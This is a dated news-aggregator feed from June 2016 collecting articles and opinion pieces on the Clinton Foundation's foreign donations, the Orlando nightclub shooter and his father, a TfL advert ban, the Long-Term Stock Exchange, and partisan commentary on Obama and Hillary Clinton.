Mon, 13 Jun 2016 19:31
The Clinton Foundation accepted millions of dollars from seven foreign governments during Hillary Rodham Clinton's tenure as secretary of state, including one donation that violated its ethics agreement with the Obama administration, foundation officials disclosed Wednesday.
Most of the contributions were possible because of exceptions written into the foundation's 2008 agreement, which included limits on foreign-government donations.
The agreement, reached before Clinton's nomination amid concerns that countries could use foundation donations to gain favor with a Clinton-led State Department, allowed governments that had previously donated money to continue making contributions at similar levels.
The new disclosures, provided in response to questions from The Washington Post, make clear that the 2008 agreement did not prohibit foreign countries with interests before the U.S. government from giving money to the charity closely linked to the secretary of state.
In one instance, foundation officials acknowledged they should have sought approval in 2010 from the State Department ethics office, as required by the agreement for new government donors, before accepting a $500,000 donation from the Algerian government.
The money was given to assist with earthquake relief in Haiti, the foundation said. At the time, Algeria, which has sought a closer relationship with Washington, was spending heavily to lobby the State Department on human rights issues.
While the foundation has disclosed foreign-government donors for years, it has not previously detailed the donations that were accepted during Clinton's four-year stint at the State Department.
A foundation spokesman said Wednesday that the donations all went to fund the organization's philanthropic work around the world. In some cases, the foundation said, foreign-government donations were part of multiyear grants that had been awarded before Clinton's appointment to pay for particular charitable efforts, such as initiatives to lower the costs of HIV and AIDs drugs and curb greenhouse gas emissions.
''As with other global charities, we rely on the support of individuals, organizations, corporations and governments who have the shared goal of addressing critical global challenges in a meaningful way,'' said the spokesman, Craig Minassian. ''When anyone contributes to the Clinton Foundation, it goes towards foundation programs that help save lives.''
Some of the donations came from countries with complicated diplomatic, military and financial relationships with the U.S. government, including Kuwait, Qatar and Oman.
Other nations that donated included Australia, Norway and the Dominican Republic.
The foundation presents a unique political challenge for Clinton, and one that has already become a cause of concern among Democrats as she prepares to launch an almost-certain second bid for the presidency.
Rarely, if ever, has a potential commander in chief been so closely associated with an organization that has solicited financial support from foreign governments. Clinton formally joined the foundation in 2013 after leaving the State Department, and the organization was renamed the Bill, Hillary & Chelsea Clinton Foundation.
Foreign dollars
The Washington Post reported last week that foreign sources, including governments, made up a third of those who have given the foundation more than $1 million over time. The Post found that the foundation, begun by former president Bill Clinton, has raised nearly $2 billion since its creation in 2001.
Foreign governments and individuals are prohibited from giving money to U.S. political candidates, to prevent outside influence over national leaders. But the foundation has given donors a way to potentially gain favor with the Clintons outside the traditional political limits.
In a presidential campaign, Hillary Clinton would be likely to showcase her foreign-policy expertise, yet the foundation's ongoing reliance on foreign governments' support opens a potential line of attack for Republicans eager to question her independence as secretary of state and as a possible president.
The Wall Street Journal reported last week that the foundation had accepted new foreign-government money now that the 2008 agreement has lapsed.
A review of foundation disclosures shows that at least two foreign governments '-- Germany and the United Arab Emirates '-- began giving in 2013 after the funding restrictions lapsed when Clinton left the Obama administration. Some foreign governments that had been supporting the foundation before Clinton was appointed, such as Saudi Arabia, did not give while she was in office and have since resumed donating.
Foundation officials said last week that if Clinton runs, they will consider taking steps to address concerns over the role of foreign donors.
''We will continue to ensure the Foundation's policies and practices regarding support from international partners are appropriate, just as we did when she served as Secretary of State,'' the foundation said in a statement.
Foreign governments had been major donors to the foundation before President Obama nominated Clinton to become secretary of state in 2009. When the foundation released a list of its donors for the first time in 2008, as a result of the agreement with the Obama administration, it disclosed, for instance, that Saudi Arabia had given between $10 million and $25 million.
In some cases, the foundation said, governments that continued to donate while Clinton was at the State Department did so at lower levels than before her appointment.
Foundation officials said Wednesday that the ethics review process required under the 2008 agreement for new donors '-- or for existing foreign-government donors wishing to ''materially increase'' their support '-- was never initiated during Clinton's State Department years.
But, they added, on one occasion, it should have been.
Algeria donation
The donation from Algeria for Haiti earthquake relief, they said, arrived without notice within days of the 2010 quake and was distributed as direct aid to assist in relief. Algeria has not donated to the foundation since, officials said.
The contribution coincided with a spike in the North African country's lobbying visits to the State Department.
That year, Algeria spent $422,097 lobbying U.S. government officials on human rights issues and U.S.-Algerian relations, according to filings made under the Foreign Agents Registration Act. Data tracked by the Sunlight Foundation shows that while the Algerian government's overall spending on lobbying in the United States remained steady, there was an increase in 2010 in State Department meetings held with lobbyists representing the country '-- with 12 visits to department officials that year, including some visits with top political appointees. In the years before and after, only a handful of State Department visits were recorded by Algeria lobbyists.
The country was a concern for Clinton and her agency.
A 2010 State Department report on human rights in Algeria noted that ''principal human rights problems included restrictions on freedom of assembly and association'' and cited reports of arbitrary killings, widespread corruption and a lack of transparency. Additionally, the report, issued in early 2011, discussed restrictions on labor and women's rights.
''Algeria is one of those complicated countries that forces the United States to balance our interests and values,'' Clinton wrote in her 2014 book, ''Hard Choices.'' She said that the country was an ally in combating terrorism but that ''it also has a poor human rights record and a relatively closed economy.''
Clinton met with the president of Algeria during a 2012 visit to the country.
A State Department spokesman referred questions about the ethics-office reviews to the charity. Nick Merrill, a Clinton spokesman, declined to comment.
Besides Algeria, a number of the other countries that donated to the foundation during Clinton's time at the State Department also lobbied the U.S. government during that time.
Qatar, for instance, spent more than $5.3 million on registered lobbyists while Clinton was secretary of state, according to the Sunlight Foundation. The country's lobbyists were reported monitoring anti-terrorism activities and efforts to combat violence in Sudan's Darfur region. Qatar has also come under criticism from some U.S. allies in the region that have accused it of supporting Hamas and other militant groups. Qatar has denied the allegations.
The 2008 agreement laid out that the new rules were intended to allow the Clinton Foundation to continue its ''important philanthropic work around the world,'' while also avoiding conflicts. It was signed by Bruce Lindsey, then the foundation's chief executive, and Valerie Jarrett, who was co-chair of Obama's transition team.
Jennifer Friedman, a White House spokeswoman, said in a statement that the agreement was signed ''to avoid any appearance of conflict of interest'' and ''in keeping with the high standards we set for our nominees.'' She said the deal went ''above and beyond standard ethics requirements.''
Clinton Foundation fundraising, particularly from foreign governments, came up repeatedly at Clinton's confirmation hearings for secretary of state.
Then-Sen. Richard G. Lugar (Ind.), who was the ranking Republican on the Senate Foreign Relations Committee, called the foundation ''a unique complication that will have to be managed with great care and transparency'' and called on the organization not to take any new foreign-government money while Clinton was serving as secretary of state.
''The Clinton Foundation exists as a temptation for any foreign entity or government that believes it could curry favor through a donation,'' he said then. ''It also sets up potential perception problems with any action taken by the secretary of state in relation to foreign givers or their countries.''
Lugar also called on the foundation to release more information about its donors, including how much each gives annually. (Since 2008, the foundation has released only how much donors have given cumulatively over time.) He said ethics officials should review donations from all foreign sources, not just governments, because of the close ties in many countries between wealthy interests and government officials.
Then-Sen. John F. Kerry (D-Mass.), the committee's chairman at the time, called Lugar's concerns a ''legitimate question.'' Kerry, who succeeded Clinton as secretary of state, suggested the potential at least for appearance problems if her official duties seemed to coincide with her husband's fundraising efforts.
''If you are traveling to some country and you meet with the foreign leadership and a week later or two weeks later or three weeks later the president travels there and solicits a donation and they pledge to give at some point in the future but nobody knows, is there an appearance of a conflict?'' Kerry asked.
At the hearing, Clinton said foreign governments donated to the foundation in part because the U.S. government had been slow to press for reductions in the cost of HIV and AIDs drugs. She said the agreement went beyond what was required by law.
''I will certainly do everything in my power to make sure that the good work of the foundation continues without there being any untoward effects on me and my service and be very conscious of any questions that are raised,'' she said. ''But I think that the way that this has been hammered out is as close as we can get to doing something that is so unprecedented that there is no formula for it, and we've tried to do the very best we could.''
London mayor plans negative body image advert ban on Tube, buses and trains - BBC News
Mon, 13 Jun 2016 16:57
Image copyrightPAImage caption The Protein World advert attracted hundreds of complaints but the advertising watchdog ruled it was neither offensive nor irresponsible Adverts promoting negative body images will be banned across the Transport for London (TfL) network from next month.
As part of his mayoral election manifesto Sadiq Khan pledged to ban adverts promoting "unhealthy or unrealistic" body images.
The advertising watchdog received 378 complaints in 2015 about a weight-loss advert that asked customers if they were "beach body ready?"
Mr Khan has now asked TfL to set up its own advertising steering group.
The Protein World "beach body ready" promotional posters were defaced in Tube stations and a petition was started calling for the adverts to be banned, however the Advertising Standards Agency (ASA) watchdog later ruled the advert depicting a bikini-clad female model was neither offensive nor irresponsible.
The steering group will advise TfL's advertising partners and stakeholders of the mayor's new policy and will ensure adverts continue to adhere to the regulations set out by the ASA.
Mr Khan said: "As the father of two teenage girls, I am extremely concerned about this kind of advertising which can demean people, particularly women, and make them ashamed of their bodies. It is high time it came to an end.
"Nobody should feel pressurised, while they travel on the Tube or bus, into unrealistic expectations surrounding their bodies and I want to send a clear message to the advertising industry about this."
Graeme Craig, TfL commercial development director, said: "Advertising on our network is unlike TV, online and print media.
"Our customers cannot simply switch off or turn a page if an advertisement offends or upsets them and we have a duty to ensure the copy we carry reflects that unique environment.
"We want to encourage great advertising that engages people and enhances the transport network."
Previously, the eating disorders charity Beat said while it recognised advertising and media could not cause eating disorders it was aware of how toxic images could be to an individual.
Image copyrightGetty ImagesTfL's advertising estate is the most valuable in the world, its development director claimsIn the next eight and a half years, adverts will generate more than £1.5bn in revenue for the network Advertising space on TfL includes adverts placed on the Tube, overground, DLR, Victoria Coach Station, trams, bus shelters, buses and on-street advertising About 12,000 adverts are placed across the network per year
Eric Ries's Long-Term Stock Exchange (LTSE) is a serious plan for creating a totally new US stock exchange '-- Quartz
Mon, 13 Jun 2016 16:42
A startup backed by prominent Silicon Valley names is moving toward creating a new US stock exchange, one with additional rules for companies and investors designed to reward long-term shareholding and business strategies to generate long-term results.
Eric Ries, a San Francisco entrepreneur and author of The Lean Startup, said his team working on the Long-Term Stock Exchange (LTSE) intends to apply to the US Securities and Exchange Commission (SEC) for approval to operate a new exchange, though declined to specify the timing. The for-profit company behind the LTSE has raised money from investors including venture capitalist Marc Andreessen, tech publisher Tim O'Reilly, and Aneesh Chopra, who served as the United States' first chief technology officer. Former New York Stock Exchange CFO Amy Butte is an advisor to the project, and its staff includes veterans of the NYSE and US Treasury Department.
US tech startups have long wanted to overhaul the process for firms to list their shares and to find ways to minimize pressures on public companies from high-frequency trading, cynical activism, and any distorting incentives of quarterly results. Google tried an unusual Dutch auction for allocating some shares in its 2004 initial public offering. Facebook tried to reduce the control of investment bankers in its 2012 IPO. Silicon Valley founders have used separate share classes to retain control of their companies once listed, which they argue is critical for piloting a business amid harmful short-term pressures.
The LTSE is a more radical approach in some ways, as it proposes to build and operate an entirely new stock exchange. The exchange and listed companies would have to satisfy all of the normal SEC requirements that would allow shares to trade on other regulated US stock markets. On top of those, companies that list on the LTSE would agree to additional requirements that the SEC would enforce.
''We'll use the exchange's regulatory powers to try and create incentives for long-term thinking by both managers and investors,'' says Ries. ''So it's a two-way street, a two-sided bargain, where everybody agrees to these new rules with the idea that the companies are managed in a more long-term way.''
Ries said the LTSE would have a number of differences from a traditional stock exchange. Key ones include:
Tenured shareholder voting power, meaning that a shareholder's votes would be proportionately weighted by the length of time the shares have been heldMandated ties at listed companies between executive pay and long-term business performanceAdditional disclosure requirements that allow companies to know who their long-term shareholders are and investors to know what investments the company is makingRies contends that the LTSE would address the concerns that have led many private companies in the US to avoid going public. With the LTSE, ''they spend more of their energy focusing on serving customers, less on the kind of distractions that cause a lot of value to be destroyed in today's markets,'' he says. ''And therefore everybody makes more money.''
One potential obstacle to starting a new stock exchange is the challenge of getting the first companies to list on it, given uncertainty about whether there will be adequate investor activity to provide liquidity and fair prices. To solve this, the LTSE aims to allow companies to have dual listings, with their shares also trading on any other US regulated market, such as the NYSE or Nasdaq. Ries declined to say how the LTSE would make money, but companies would presumably have to pay to list, which could be an obstacle to getting them to sign on.
Some will surely see the LTSE as just the latest example of Silicon Valley hubris, in line with other tech startups' efforts to ''disrupt'' education, health, transportation, and other sectors. Ries says he's sympathetic to that view, but says it doesn't apply to the LTSE, which isn't focused on corralling industry outsiders to come up with the next big idea in finance. Rather, he says, the LTSE has cultivated deep ties to finance and regulatory players in New York and Washington who also have been looking to reform the markets.
The LTSE news comes as a startup exchange project from IEX Group awaits approval from the SEC, which is expected to issue its ruling by June 18. The IEX proposal includes a so-called speed bump designed to thwart some high-frequency trading tactics and level the playing field for other investors. IEX has focused on the trading side of an exchange to help fix the system, whereas the LTSE aims to use listing requirements to bring about change. Ries declined to discuss how his group would approach the trading infrastructure for the exchange, which could be very expensive to build.
He proposed the creation of the LTSE in his 2011 Lean Startup book, and says he hoped that it was an idea that someone else would run with. But no one did, and about three or four years ago Ries started doing initial work to understand what it would take. He's working full time as its CEO now, joined by roughly 20 other full-time and part-time staff and advisors. The group earlier released a service called Captable.io for private companies to track who owns their shares and stock options.
''We're talking about a tectonic shift in the way markets work, so it's definitely going to be a heavy lift,'' says Ries. But ''market conditions have become more ripe for this, and there's simply a recognition practically every day that this is a huge problem that needs solving and that, especially as it manifests itself in Silicon Valley where I'm based, problems here are getting worse and worse.''
Exclusive: Former coworker said Mateen 'unhinged and unstable'
Mon, 13 Jun 2016 15:16
Palm City resident Jerome Kight last week waved to the PGA Village security guard while visiting family in the gated community, not knowing the guard '-- Omar Mateen '-- would days later carry out the deadliest mass shooting in the nation's history.
''It was the same, 'How are you?' Oh, I'm good,''' Kight said of his last conversation with Mateen.
His jaw dropped when he connected the photo splashed across the news and the person he knew. But not from surprise.
''I always knew something was off with him,'' Kight said.
Related Article
Social media recap: Strong reactions, opinions on Orlando shootingKight and other former acquaintances and co-workers described him as anti-social, someone who made frequent homophobic and racial comments and was demeaning to women. Kight said women would ''get a creepy vibe'' when talking with Mateen.
Daniel Gilroy, a former Fort Pierce Police officer who once worked with Mateen at PGA Village, called Mateen ''unhinged and unstable.''
Gilroy worked the 7 a.m. to 3 p.m. shift with G4S Security at the south gate at PGA Village for several months in 2014-15. Mateen took over from him for a 3 to 11 p.m. shift, Gilroy said.
Gilroy said he complained to his employer, G4S Security, several times about Mateen's homophobic and racial comments, but said it did nothing because Mateen was Muslim. When Gilroy finally confronted Mateen, he said Mateen began stalking him via multiple text messages '-- 20 or 30 a day. He also sent Gilroy 13 to 15 phone messages a day, he said.
Related Article
Treasure Coast focus of terrorism investigation, again''I quit because everything he said was toxic,'' Gilroy said Sunday. ''And the company wouldn't do anything. This guy was unhinged and unstable. He talked of killing people.''
The company would only say that Mateen worked for it, a spokeswoman said. They couldn't be reached about Gilroy's comments.
Gilroy said this shooting didn't come as a surprise to him. He said he felt responsible and wondered whether he could have changed events had he kept complaining.
''He could have been diverted,'' said Gilroy.
Related Article
Items carried out of suspect's home connected to Orlando shootings | Photos, VideoHe was always a gentleman
Others, however, remembered a friendly guard who greeted residents at PGA Village, a gated community in western Port St. Lucie.
PGA Village resident Eleanora Dorsi recognized Mateen's face as a friendly one who guarded her community.
''Whenever I saw him, he was very polite,'' Dorsi said Sunday from her summer home in Connecticut. ''He was always a gentleman.''
Related Article
Candlelight vigil for Orlando victims held in Port St. Lucie | PhotosDorsi, who has lived in the community since 2011, estimated she saw Mateen a dozen times through the years, but he left a big impression on her because of his chivalry, she said.
''He even helped me with the car once, so I can't say he was creepy,'' she said.
Mateen helped her work the windshield cleaning function in her new car one time, she said.
Dorsi frequently gave Mateen and other PGA Village guards pizza, cookies and candy for their hard work, she said. The last time she saw Mateen was a year ago, Dorsi said.
Related Article
Islamic communities react to Orlando shootings''He was always smiling and just seemed like a very nice, positive person,'' Dorsi said.
It sent chills down Dorsi's spine to imagine the man charged with keeping her and other locals safe carried out the deadliest mass shooting in the nation's history, she said.
''You would never ever think that he would have done anything like this,'' Dorsi said.
''Scary, scary. Very scary. I think everyone feels like that right now,'' she added. ''It hits too close to home.''
Related Article
Mateen's father: 'What he did was completely act of terrorist' | Video, photos''He was usually by himself''
A Fort Pierce mosque leader said Mateen was quiet and would not be seen with any friends when he attended nightly prayers at the Islamic Center of Fort Pierce.
''He wouldn't talk or sit with any other members,'' said Dr. Syed Shafeeq Rahman, Imam for the mosque.
Rahman said Mateen had attended the mosque since he was 7 years old. He said Mateen's character had changed over the past 10 years.
''As a child, he was aggressive. He would run and laugh,'' Rahman said. ''As he got older, he grew quiet. He was usually by himself.''
Rahman, 50, of Fort Pierce, said Mateen would visit the mosque with his son for prayer night a few nights out of the week. He said Mateen's mother and father attended the mosque separately.
''The father would come to help out,'' Rahman said.
Rahman said he found out about the shooting when he got a text from a friend Sunday morning.
''I was shocked. I didn't think he would harm anyone,'' Rahman said. ''We don't promote violence. That's not what we stand for.''
As an adult, Mateen became devoted to body building and was very muscular, Rahman said.
''I don't have any knowledge he was with ISIS,'' Rahman said. ''When something like this happens, it pushes us 10 years back.''
Staff writers Anthony Westbury, Nicole Rodriguez, Elliott Jones, Nicholas Samuel and Colleen Wixon contributed to this report.
Local coverage
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Brutal rampages in U.S. history
Orlando nightclub shooting: What we know
Pulse more than 'just another gay club'
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Shooter Omar Mateen's father says he's saddened by massacre, calls gunman 'a good son' - The Washington Post
Mon, 13 Jun 2016 15:01
Omar Mateen's father, Seddique, says he last saw his son a day before the Orlando nightclub shooting. And nothing seemed amiss. (Lee Powell/The Washington Post)
KABUL '-- The father of the Orlando nightclub gunman insists that his son was not motivated by Islamist radical ideology, describing the 29-year-old as a ''a good son'' who did not appear agitated or angry the day before the deadliest mass shooting in U.S. history.
In two videos '-- one is an interview with The Washington Post in Florida, and the other is a separate posting to Facebook '-- Seddique Mateen offered no hints on what could have driven his son, Omar Mateen, to carry out the carnage early Sunday before police killed him.
During the rampage, Mateen pledged loyalty to the Islamic State in a call to 911, but his father said he did not believe it was a genuine pledge of support.
''I think he just wanted to boast of himself,'' the elder Mateen told The Post late Sunday in an interview from his home in Port St. Lucie, Fla. ''No radicalism, no. He doesn't have a beard even. .'‰.'‰. I don't think religion or Islam had anything to do with this.''
['He was not a stable person': Orlando shooter showed signs of emotional trouble]
Seddique Mateen said his son stopped by the day before the rampage and showed no apparent warning signs.
''He was well behaved. His appearance was perfect,'' he said. ''I didn't see any sign of worrying or being upset or nervous.''
The elder Mateen said he planned to travel to Orlando and visit those who were injured or lost loved ones in the shooting at a nightclub popular with the city's gay community.
''If they're not ready, I still say to them, 'I'm sorry,''‰'' he said. ''I'm saddened for their injury or if they lost their dear one.''
But in a Facebook video posted early Monday, he said, ''God himself will punish those involved in homosexuality.''
He had a child and a wife and was very dignified, meaning he had respect for his parents,'' Seddique Mateen wrote, standing in front of the flag of his apparent birthplace, Afghanistan. ''I don't know what caused him to shoot last night.''
Seddique Mateen said his son had access to a pistol through his employer. The Post and other media outlets reported Sunday that Omar Mateen worked as a security guard for G4S, a global security and contracting company.
''I am deeply saddened and announce this to the people of America,'' said Seddique Mateen in his Facebook video, noting his son carried out the attack during the Islamic holy month of Ramadan.
Seddique Mateen, speaking in Dari, concluded the video by expressing disbelief that his son took it upon himself to seek retribution against the LGBT community.
''God himself will punish those involved in homosexuality,'' he said. ''This is not for the servants'' of God.
In Afghanistan, officials were still trying to piece together the family's background.
[Horror around the world at Orlando shooting, and fear for the United States]
Afghan government officials said they did not know when Seddique Mateen left the country but noted millions of Afghans fled after it was invaded by the former Soviet Union in 1979.
Omar Mateen, 29, was born in New York but moved with his family to Florida as a child.
But Seddique Mateen appeared to maintain a strong affiliation to Afghanistan, hosting a television show broadcast from California that weighed in on the country's political affairs.
He also filmed dozens of sparsely viewed, rambling YouTube videos portraying himself as an important Afghan analyst and leader.
In one video, the elder Mateen expresses gratitude toward the Afghan Taliban while denouncing the Pakistani government.
[Shifting portraits emerge of shooter as authorities seek clues of terrorism ties]
''Our brothers in Waziristan, our warrior brothers in [the] Taliban movement and national Afghan Taliban are rising up,'' he said. ''Inshallah, the Durand Line issue will be solved soon.''
The ''Durand Line issue'' is a historically significant one, particularly for members of the Pashtun ethnic group, whose homeland straddles the border between Afghanistan and Pakistan. The Durand Line is that border. It is not clear whether the Mateens are Pashtun. The Afghan Taliban is mostly made up of Pashtuns.
The line was drawn as a demarcation of British and Afghan spheres of influence in 1893. The British controlled most of subcontinental Asia at the time, though some parts, including what is now Afghanistan and northwest Pakistan, were only loosely held.
The line was inherited as a border by Pakistan after its independence. Because it splits the Pashtun population politically, it is seen as a cause for their marginalization. Pashtuns are the largest ethnic group in most of eastern Afghanistan and northern Pakistan.
Just hours before the shooting in Orlando, Seddique Mateen posted a video on a Facebook page called ''Provisional Government of Afghanistan '-- Seddique Mateen.'' In it, he seems to be pretending to be Afghanistan's president, and he orders the arrest of an array of Afghan political figures.
''I order national army, national police and intelligence department to immediately imprison Karzai, Ashraf Ghani, Zalmay Khalilzad, Atmar and Sayyaf. They are against our countrymen and against our homeland,'' he says, while dressed in army fatigues.
The most recent video on Mateen's YouTube channel shows him declaring his candidacy for the Afghan presidency. The timing of the video is strange, as it came a year after presidential elections were held in Afghanistan.
Mateen appears incoherent at times in the video, and he jumps abruptly from topic to topic. His use of Dari, instead of Pashto, the language of Pashtuns, was another strange element of his presentation, given that he is discussing issues of Pashtun nationalism.
Bearak reported from Washington, and Powell reported from Port St. Lucie, Fla. Sayed Salahuddin and Mohammad Sharf in Kabul contributed to this report.
Read more:
'He's coming .'‰.'‰. I'm gonna die': Heartbreaking final texts from Orlando victim to his mom
Pulse was founded in her brother's memory, and named for his beating heart
The history of the AR-15, the weapon that had a hand in the United States' worst mass shooting
Today's coverage from Post correspondents around the world
BREAKING: Police Just Discovered Stanford Rapist Photographed Victim's Breasts, Then Sent Pictures To Friends (PHOTOS)
Mon, 13 Jun 2016 10:17
According to the Daily Mail, Stanford rapist Brock Turner likely sent a photo of his victim's breasts to his swim team friends after he raped her behind a dumpster outside a frat party in January of 2013.
The Daily Mail accessed court documents that reveal Turner was sent a message over a group messaging app not long after the attack that read:
'Who's tit is that.'
According to the Daily Mail, the message was received through the GroupMe app and was sent by fellow Stanford University swimmer Justin Buck.
Nederland niet meer in top 10 beste kinderrechten | Binnenland | de Volkskrant
Mon, 13 Jun 2016 09:51
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Obama: 'We' are to blame, not Islamic terrorism, for massacre | New York Post
Mon, 13 Jun 2016 05:09
Omar Mateen called the cops to pledge his fealty to ISIS as he was carrying out his mass murderer in Orlando early Sunday morning. Twelve hours later, the president of the United States declared that ''we have no definitive assessment on the motivation'' of Omar Mateen but that ''we know he was a person filled with hate.''
So I guess the president thinks Mateen didn't mean it?
Here again, and horribly, we have an unmistakable indication that Obama finds it astonishingly easy to divorce himself from a reality he doesn't like '-- the reality of the Islamist terror war against the United States and how it is moving to our shores in the form of lone-wolf attacks.
He called it ''terror,'' which it is. But using the word ''terror'' without a limiting and defining adjective is like a doctor calling a disease ''cancer'' without making note of the affected area of the body '-- because if he doesn't know where the cancer is and what form it takes, he cannot attack it effectively and seek to extirpate it.
So determined is the president to avoid the subject of Islamist, ISIS-inspired or ISIS-directed terrorism that he concluded his remarks with an astonishing insistence that ''we need the strength and courage to change'' our attitudes toward the gay, lesbian, bisexual and transgender community.
That's just disgusting. There's no other word for it.
Friends and family members embrace outside the Orlando Police Headquarters after the the Pulse Orlando nightclub mass shooting.Photo: ReutersAmerica's national attitude toward LGBT people didn't shoot up the Pulse nightclub. This country's national attitude has undergone a sea-change in the past 20 years, by the way, in case the president hasn't noticed.
An Islamist terrorist waging war against the United States killed and injured 103 people on our soil. We Americans do not bear collective responsibility for this attack. Quite the opposite.
The attack on the Pulse nightclub was an attack on us all, no less than the World Trade Center attack.
To suggest we must look inward to explain this is not only unseemly but practically an act of conscious misdirection on the president' s part to direct out attention away from Omar Mateen's phone call.
True to form, the president spoke more words about the scourge of guns than about the threat of terror. In doing so, he actually retards rather than advances the cause of gun control he so passionately advocates.
The most thorough, profound and moving defense of Hillary Clinton I have ever seen.
Mon, 13 Jun 2016 05:08
First of all '-- this is not my writing. It's a Facebook post by someone I don't even know, a man named Michael Arnovitz in Portland OR. But as a Facebook post it passes the fair use test and I'm quite certain he would not object that I share it here (he doesn't). The original Facebook post is here: www.facebook.com/'... So without further ado, it's truly worth the read:
"In the course of a single conversation, I have been assured that Hillary is cunning and manipulative but also crass, clueless, and stunningly impolitic; that she is a hopelessly woolly-headed do-gooder and, at heart, a hardball litigator; that she is a base opportunist and a zealot convinced that God is on her side. What emerges is a cultural inventory of villainy rather than a plausible depiction of an actual person." '--Henry Louis Gates The quote above comes from a fascinating article called ''Hating Hillary'', written by Gates for the New Yorker in 1996. Even now, 20 years after it was first published, it's a fascinating and impressive piece, and if you have a few spare moments I strongly recommend it to you. (www.newyorker.com/...)
And I'm reading pieces like this because now that Hillary has (essentially if not officially) won the Democratic Primary, I have become increasingly fascinated by the way so many people react to her. In truth, I sometimes think that I find that as interesting as Hillary herself. And I can't help but notice that many of the reactions she receives seem to reflect what Gates referred to as ''a cultural inventory of villainy'' rather than any realistic assessment of who she really is and what she has really done.
To conservatives she is a radical left-wing insurgent who has on multiple occasions been compared to Mikhail Suslov, the Soviet Kremlin's long-time Chief of Ideology. To many progressives (you know who you are), she is a Republican fox in Democratic sheep's clothing, a shill for Wall Street who doesn't give a damn about the working class. The fact that these views could not possibly apply to the same person does not seem to give either side pause. Hillary haters on the right and the left seem perfectly happy to maintain their mutually incompatible delusions about why she is awful. The only thing both teams seem to share is the insistence that Hillary is a Machiavellian conspirator and implacable liar, unworthy of society's trust.
And this claim of unabated mendacity is particularly interesting, because while it is not the oldest defamation aimed at Hillary, it is the one that most effortlessly glides across partisan lines. Indeed, for a surprisingly large percentage of the electorate, the claim that Hillary is innately dishonest is simply accepted as a given. It is an accusation and conviction so ingrained in the conversation about her that any attempt to even question it is often met with shock. And yet here's the thing: it's not actually true. Politifact, the Pulitzer prize-winning fact-checking project, determined for example that Hillary was actually the most truthful candidate (of either Party) in the 2016 election season. And in general Politifact has determined that Hillary is more honest than most (but not all) politicians they have tracked over the years.
Also instructive is Jill Abramson's recent piece in the Guardian. Abramson, a former reporter for the Wall Street Journal as well as former Executive Editor of the New York Times, had this to say about Hillary's honesty: ''As an editor I've launched investigations into her business dealings, her fundraising, her foundation and her marriage. As a reporter my stories stretch back to Whitewater. I'm not a favorite in Hillaryland. That makes what I want to say next surprising. Hillary Clinton is fundamentally honest and trustworthy.''
Notice how Abramson uses the word ''surprising''? She's obviously doing that for our benefit, because she knows that many readers will be astonished at the very thought of Hillary being ''fundamentally honest''. But why? In my opinion we need to go back to the time of Whitewater in order to answer that question.
In January of 1996, while Whitewater investigations were underway but unfinished, conservative writer William Safire wrote a scathing and now-famous essay about Hillary Clinton entitled, ''Blizzard of Lies''. In the piece he called her a ''congenital liar'', and accused her of forcing her friends and subordinates into a ''web of deceit''. He insisted (without any apparent evidence) that she took bribes, evaded taxes, forced her own attorneys to perjure themselves, ''bamboozled'' bank regulators, and was actively involved in criminal enterprises that defrauded the government of millions of dollars. He ended the piece by stating that, ''She had good reasons to lie; she is in the longtime habit of lying; and she has never been called to account for lying herself or in suborning lying in her aides and friends.''
I am no political historian, but as far as I can tell this short essay was the birth of the ''Hillary is a Liar'' meme. Now to be clear, most conservatives already strongly disliked her. They had been upset with her for some time because she had refused to play the traditional First Lady role. And they were horrified by her attempt to champion Universal Health coverage. But if you look for the actual reasons people didn't like her back at that time, you won't see ongoing accusations of her being ''crooked'' or a ''liar''. Instead, the most common opinion seemed to be that she was a self-righteous leftist who considered anyone with other views to be morally inferior. In short, the prevailing anti-Hillary accusation was not that she was unrelentingly dishonest, but that she was just intolerably smug.
After the Safire piece however, this all changed. Republicans, who learned from Nixon never to let a good propaganda opportunity pass if they could help it, repeated the accusations of mendacity non-stop to anyone who would broadcast or print them. And if you doubt the staying power of Safire's piece, type the phrase ''congenital liar'' into a Google search along with ''Hillary Clinton'' and see what happens. To this day, that exact phrase is still proudly used by many on the right. This, even though Safire was eventually proven wrong about everything he had written. And despite the fact that he stated himself that he would have to ''eat crow'' if she were ever cleared, Safire never apologized or even acknowledged his many errors once that happened. Because as we all know, swift-boating means never having to say you're sorry.
But while conservative propaganda and lies are a constant in ''Hillaryland'', if we look at Hillary's career, and the negative attacks so often aimed at her, it seems clear that more than just political machinations are at play. My current conviction is that the main fuel that powers the anti-Hillary crowd is sexism. And yes I'm serious. So go ahead and roll your eyes. Get it over with. But I think the evidence supports my view, and I've seen no other plausible explanation. And just to be clear, I don't think it's ONLY sexism. But I do think that this is the primary force that has generated and maintained most of the negative narratives about Hillary.
Of course accusations of sexism always bump up against several serious impediments:1) Almost nobody will admit to it. Conservatives decided long ago that all such accusations (sexism, racism, homophobia, etc) are standard liberal bullshit whose only real intent is to shut down debate, and liberals tend to possess a sense of moral entitlement which leads them to consider themselves automatically exempt from all such accusations. (Side note: if you did roll your eyes above, there's a good chance I'm describing you here. Sorry.)2) Overt sexism is significantly more likely to be tolerated in our society than overt racism. It is a low-risk form of bigotry and discrimination that rarely damages professional or political careers. Because of this, far fewer people worry about crossing that line.3) We have formed a sort of collective blindness to sexism that allows us to pretend that we are on top of the issue while simultaneously ignoring the many ways in which it actually permeates our society. (Side note 2: There's a reason it's called a ''glass'' ceiling.)4) Unlike men, women who make demands are still often seen as unfeminine and inappropriately aggressive, bordering on deviant. And if the people most aggressively pushing against the glass ceiling are ''broken'' or ''deviant'', it's easier to justify dismissing both them and their concerns.
So I've made a claim. Let's look at some numbers. Take a look at the image below. On the right side you'll see a chart. This is a chart of Hillary's popularity over time. It was put together by Nate Silver, who based it on over 500 high-quality phone surveys dating back to the early 90's. If we take a look at the polling data, very obvious patterns emerge.
In the early 90's her polling was great, which was typical for an incoming First Lady. But Hillary had no interest in being a typical First Lady, and soon took charge of one of the most important policy initiatives of the Clinton Presidency: Universal Health Care. If you look at the first large red arrow I have on the graphic, you'll see that as soon as she did that her negatives skyrocketed. And yes this was before Whitewater. In fact during the ongoing Whitewater investigations her polling improved dramatically, so she actually became significantly MORE popular during that period, not less.
